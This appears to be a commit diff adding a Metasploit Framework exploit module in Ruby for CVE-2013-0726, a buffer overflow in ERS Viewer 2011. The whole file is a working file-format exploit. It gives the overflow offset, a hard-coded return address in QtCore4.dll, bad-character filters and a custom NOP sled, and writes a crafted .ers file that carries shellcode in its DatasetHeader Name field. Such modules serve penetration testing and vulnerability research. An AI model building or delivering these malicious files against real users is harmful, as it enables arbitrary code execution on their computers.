|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# Framework web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/framework/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = NormalRanking |
| 12 | + |
| 13 | + include Msf::Exploit::FILEFORMAT |
| 14 | + |
| 15 | + def initialize(info={}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => "ERS Viewer 2011 ERS File Handling Buffer Overflow", |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits a buffer overflow vulnerability found in ERS Viewer 2011 |
| 20 | + (version 11.04). The vulnerability exists in the module ermapper_u.dll where the |
| 21 | + function ERM_convert_to_correct_webpath handles user provided data in a insecure |
| 22 | + way. It results in arbitrary code execution under the context of the user viewing |
| 23 | + a specially crafted .ers file. This module has been tested successfully with ERS |
| 24 | + Viewer 2011 (version 11.04) on Windows XP SP3 and Windows 7 SP1. |
| 25 | + }, |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'Author' => |
| 28 | + [ |
| 29 | + 'Parvez Anwar', # Vulnerability Discovery |
| 30 | + 'juan vazquez' # Metasploit |
| 31 | + ], |
| 32 | + 'References' => |
| 33 | + [ |
| 34 | + [ 'CVE', '2013-0726' ], |
| 35 | + [ 'OSVDB', '92694' ], |
| 36 | + [ 'BID', '59379' ], |
| 37 | + [ 'URL', 'http://secunia.com/advisories/51725/' ] |
| 38 | + ], |
| 39 | + 'Payload' => |
| 40 | + { |
| 41 | + 'Space' => 7516, |
| 42 | + 'BadChars' => "\x22\x5c" + |
| 43 | + (0x7f..0xff).to_a.pack("C*") + |
| 44 | + (0x00..0x08).to_a.pack("C*") + |
| 45 | + (0x0a..0x1f).to_a.pack("C*"), |
| 46 | + 'DisableNops' => true, |
| 47 | + 'EncoderOptions' => |
| 48 | + { |
| 49 | + 'BufferRegister' => 'ESP' |
| 50 | + } |
| 51 | + }, |
| 52 | + 'SaveRegisters' => [ 'ESP' ], |
| 53 | + 'DefaultOptions' => |
| 54 | + { |
| 55 | + 'ExitFunction' => "process", |
| 56 | + }, |
| 57 | + 'Platform' => 'win', |
| 58 | + 'Targets' => |
| 59 | + [ |
| 60 | + [ 'ERS Viewer 2011 (v11.04) / Windows XP SP3 / Windows 7 SP1', |
| 61 | + { |
| 62 | + 'Offset' => 260, |
| 63 | + 'Ret' => 0x67097d7a # push esp # ret 0x08 from QtCore4.dll |
| 64 | + } |
| 65 | + ], |
| 66 | + ], |
| 67 | + 'Privileged' => false, |
| 68 | + 'DisclosureDate' => "Apr 23 2013", |
| 69 | + 'DefaultTarget' => 0)) |
| 70 | + |
| 71 | + register_options( |
| 72 | + [ |
| 73 | + OptString.new('FILENAME', [ true, 'The file name.', 'msf.ers']), |
| 74 | + ], self.class) |
| 75 | + |
| 76 | + end |
| 77 | + |
| 78 | + # Rewrote it because make_nops is ignoring SaveRegisters |
| 79 | + # and corrupting ESP. |
| 80 | + def make_nops(count) |
| 81 | + return "\x43" * count # 0x43 => inc ebx |
| 82 | + end |
| 83 | + |
| 84 | + def exploit |
| 85 | + |
| 86 | + buf = rand_text(target['Offset']) |
| 87 | + buf << [target.ret].pack("V") |
| 88 | + buf << make_nops(8) # In order to keep ESP pointing to the start of the shellcode |
| 89 | + buf << payload.encoded |
| 90 | + |
| 91 | + ers = %Q| |
| 92 | +DatasetHeader Begin |
| 93 | + Name = "#{buf}" |
| 94 | +DatasetHeader End |
| 95 | + | |
| 96 | + |
| 97 | + file_create(ers) |
| 98 | + end |
| 99 | +end |
0 commit comments